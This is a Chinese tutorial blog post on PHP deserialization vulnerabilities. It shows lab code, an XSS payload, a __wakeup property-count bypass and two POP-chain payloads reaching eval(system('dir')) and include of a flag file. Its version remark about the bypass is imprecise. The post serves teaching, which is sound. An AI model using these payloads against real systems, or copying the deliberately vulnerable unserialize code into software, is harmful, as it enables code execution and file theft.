反序列化篇

一、序列化与反序列化

1、序列化:

        序列化是指将数据结构或对象转换为一串字节流的过程,使其可以存储、传输或缓存时进行持久化。(PHP 中使用 serialize() 函数可以将数据结构或对象进行序列化,得到一个表示序列化后数据的字符串)

2、反序列化:

        反序列化是指将序列化后的数据进行解码和还原,恢复为原始的数据结构或对象的过程。反序列化是序列化的逆过程。(PHP 中使用 unserialize() 函数对序列化后的字符串进行反序列化,将其还原为原始的数据)

1、序列化后的类型
(1)i 整型(int)
(2)d 浮点类型(double)
(3)b 布尔类型(boolean)
(4)a 数组类型(array)
(5)O 对象类型(class)
(6)N NULL 类型(null)

常见格式:O:长度:"类名":变量数:{变量类型:变量名长度:"变量名":变量值;}

2、变量长度的注意点
(1)中文汉字或中文字符长度加3

3、对于不同的访问类型:
(1)public 就是变量本身
(2)protect \00*\00变量名,指明字符长度的 s 要大写 S
(3)provite \00类名\00变量名,指明字符长度的 s 要大写 S

3、说明示例1

(1)源码:

<?php
	class Seria{
		public $name = "chunchun";
		protected $age = 11;
		private $username = "limb";

		public function __construct(){
			echo "序列化结束"."<br>";
		}
	}

	$c = new Seria();
	echo serialize($c);
?>

(2)执行结果

4、说明示例2

(1)源码:

<?php
	class Seria{
		public $name = "chunchun";
		protected $age = 11;
		private $username = "limb";

		public function __construct(){
			echo "序列化结束"."<br>";
		}
	}

	$ser = new Seria();
	$a = serialize($ser);
	print_r(unserialize($a));
	echo "<br>";
	$c = $_GET['cc'] ?? 'O:5:"Seria":3:{s:4:"name";s:8:"chunchun";s:6:"%00*%00age";i:11;s:15:"%00Seria%00username";s:4:"limb";}';
	print_r(unserialize($c));
?>

 (2)payload:

http://localhost/serialize/test2/test1.php?cc=O:5:%22Seria%22:3:{s:4:%22name%22;s:8:%22chunchun%22;s:6:%22%00*%00age%22;i:11;s:15:%22%00Seria%00username%22;s:4:%22limb%22;}

(3)效果:

 5、说明示例3:

(1)源码:

<?php
	class Seria{
		public $name = "chunchun";
		protected $age = 11;
		private $username = "limb";

		public function __construct(){
			echo "序列化结束"."<br>";
		}
	}

	$b = new Seria();
	$cc = serialize($b);
	print_r(unserialize($cc));
	echo "<br>";

	$a = $_POST['cc'] ?? 'O:5:"Seria":3:{s:4:"name";s:8:"chunchun";S:6:"\00*\00age";i:11;S:15:"\00Seria\00username";s:4:"limb";}';
	print_r(unserialize($a));
?>

(2)payload:

(3)效果:

6、魔术方法:

__construct() 当一个对象创建时被调用

__destruct() 当一个对象销毁前被调用

__sleep() 在对象被序列化前被调用

__wakeup() 将在反序列化之后立即被调用

__toString() 当一个对象被当做字符串使用时被调用

__get() 访问一个不存在或不可访问的属性时调用

__set() 当一个不存在或不可访问的属性赋值时调用

__invoke() 调用函数的方式调用一个对象时的回应方法

__call() 使用不存在或无法访问的方法时调用

__callStatic() 使用不存在或无法访问的静态方法时调用

__isset() 对不存在或不可访问的属性使用 isset() 或 empty() 函数时调用

__unset() 对不可访问或不存的属性使用 unset() 函数时调用

__invoke() 当你像使用函数一样使用一个对象时调用

__clone() 当你使用 clone 函数复制一个对象时调用

__autoload() 当你尝试加载未定义的类时调用

二、反序列化漏洞:

1、漏洞简述:

        反序列化的数据本质上来说是没有危害的,用户可控数据进行反序列化是存在危害的,反序列化的危害, 关键还是在于可控或不可控。

三、反序列化漏洞的利用

1、XSS:以上述实例代码 2 为例,若序列化的值可控:

(1)payload:

http://localhost/serialize/test2/test1.php?cc=O:5:%22Seria%22:3:{s:4:%22name%22;s:25:%22%3Cscript%3Ealert(1)%3C/script%3E%22;s:6:%22%00*%00age%22;i:11;s:15:%22%00Seria%00username%22;s:4:%22limb%22;}

(2)显示效果:

(3)POST 的效果也是一样的:

2、 绕过 __wakeup:

(1)示例源码:

<?php 
	class Getflag{

		protected $file='test3.php';
		function __destruct(){
			if(!empty($this->file)) {
				if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){
					show_source(dirname (__FILE__).'/'.$this->file); 
				}else{
					echo 'Wrong filename.';
				}
			}else{
				echo "kong";
			}
		}
		
		function __wakeup(){
			$this->file = 'test3.php';
		}
	}

	$f = $_GET['file'];
	echo $f."<br>";
	$ff = base64_decode($f);
	echo $ff."<br>";
	$c = unserialize($ff)."<br>";
?>

(2)flag.php

<?php
	$flag = "chunchun";
?>

(3)payload 获取

第一步:编写 exp获取序列化后的字符串

<?php 
	class Getflag{

	    protected $file='flag.php';

	    function __destruct() {
	        if(!empty($this->file)) {
	            if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
	            	show_source(dirname (__FILE__).'/'.$this ->file); 
	        }else{
	           echo 'Wrong filename.';
	        }
	    }
	}
 
	$data= new Getflag();
	$ser= serialize($data);
	echo $ser;
	echo "</br>";
	echo base64_encode($ser)."<br>";
	echo base64_encode('O:7:"Getflag":2:{S:7:"\00*\00file";s:8:"flag.php";}')."<br>";
?>
O:7:"Getflag":1:{s:7:"*file";s:8:"flag.php";}
因为有 protected 属性,改写为:
O:7:"Getflag":1:{S:7:"\00*\00file";s:8:"flag.php";}

第二步:增加变量个数,以此来绕过 __wakeup ,然后进行 base64 编码:

增加变量个数后改为:
O:7:"Getflag":2:{S:7:"\00*\00file";s:8:"flag.php";}
base64 编码后为:
Tzo3OiJHZXRmbGFnIjoyOntTOjc6IlwwMCpcMDBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

第三步:进行访问 flag.php 的尝试

注意:如果 php 高于 7.0 则没有该漏洞。

3、 pop 链构造1

(1)示例源码:

<?php
	header('Content-Type: text/html; charset=utf-8');
	
	class First{
		private $t1;

		function __construct(){
			$this->t1 = new test2();
		}

		function __destruct(){
			$this->t1->excute();
		}
	}

	class Second{
		public function excute(){
			echo "走错了";
		}
	}

	class Third{
		public $t3;

		public function excute(){
			eval($this->t3);
		}
	}

	if(isset($_GET['cc'])){
		$c = $_GET['cc'];
		$d = unserialize($c);
		print_r($d);
		echo "<br>";
	}else{
		echo "无参数";
	}
?>

(2)获取 payload :

<?php

	header('Content-Type: text/html; charset=utf-8');
	class First{
		private $t1;

		function __construct(){
			$this->t1 = new Third();
		}
	}

	class Third{
		public $t3 = "system('dir');";

		public function excute(){
			eval($this->t3);
		}
	}

	$exp = new First();
	echo serialize($exp);
?>

(3)输入 payload:

字符串的序列化值:
O:5:"First":1:{s:9:"Firstt1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}}
加入 url 编码:
O:5:"First":1:{s:9:"%00First%00t1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}}

?cc=O:5:"First":1:{s:9:"%00First%00t1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}}

4、pop 链构造2

(1)源代码:

<?php
	class Modifier{  //  1、需要满足 $var = "flag.php",然后要调用 __invoke() 函数,需要把 Modifier 当函数执行
		protected $var;
		public function append($value){
			include($value);
		}
		public function __invoke(){
            $this->append($this->var);
        }
	}

    class Show{
        public $source;
        public $str;
        public function __construct($file = 'index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."<br>";

        }

        public function __toString(){  //  3、要访问 Test 中不存在的属性,所以要触发 __toString() 函数,然后满足 $str = new Test(),然后把 Show 当作字符串来使用
            return $this->str->source;
        }

        public function __wakeup(){
            if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)){
                echo "hacker";
                $this->source = "index.php";
            }
        }// 4、preg_match() 是对字符串进行处理,所以要使得 $source 等于 new Show(),然后触发 __toString
    }

    class Test{  // 2、因为 return $fun() 是吧 $fun 变量当作函数执行,所以要满足 $p = new Modifier(),然后要调用 __get() 函数,所以要访问 Test 中没有的属性
        public $p;
        public function __construct(){
            $this->p = array();
        }

        public function __get($key){
            $fun = $this->p;
            return $fun();
        }
    }

    if(isset($_GET['pop'])){
        unserialize($_GET['pop']);
    }else{
        $a = new Show();
        highlight_file(__FILE__);
    }
?>

 (2)获取 payload:

<?php
    class Modifier{
        protected $var = "flag.php";
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }

    class Show{
        public $source;
        public $str;
        public function __construct(){
//            $this->source = new Show();
            $this->str = new Test();
        }
    }

    class Test{
        public $p;
    }


    $exp = new Show();
    $exp->source = new Show();
    $exp->source->str->p = new Modifier();
    echo serialize($exp);
?>

(3)输入 payload:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}
因为存在 protected 属性,所以更改为:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}

?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值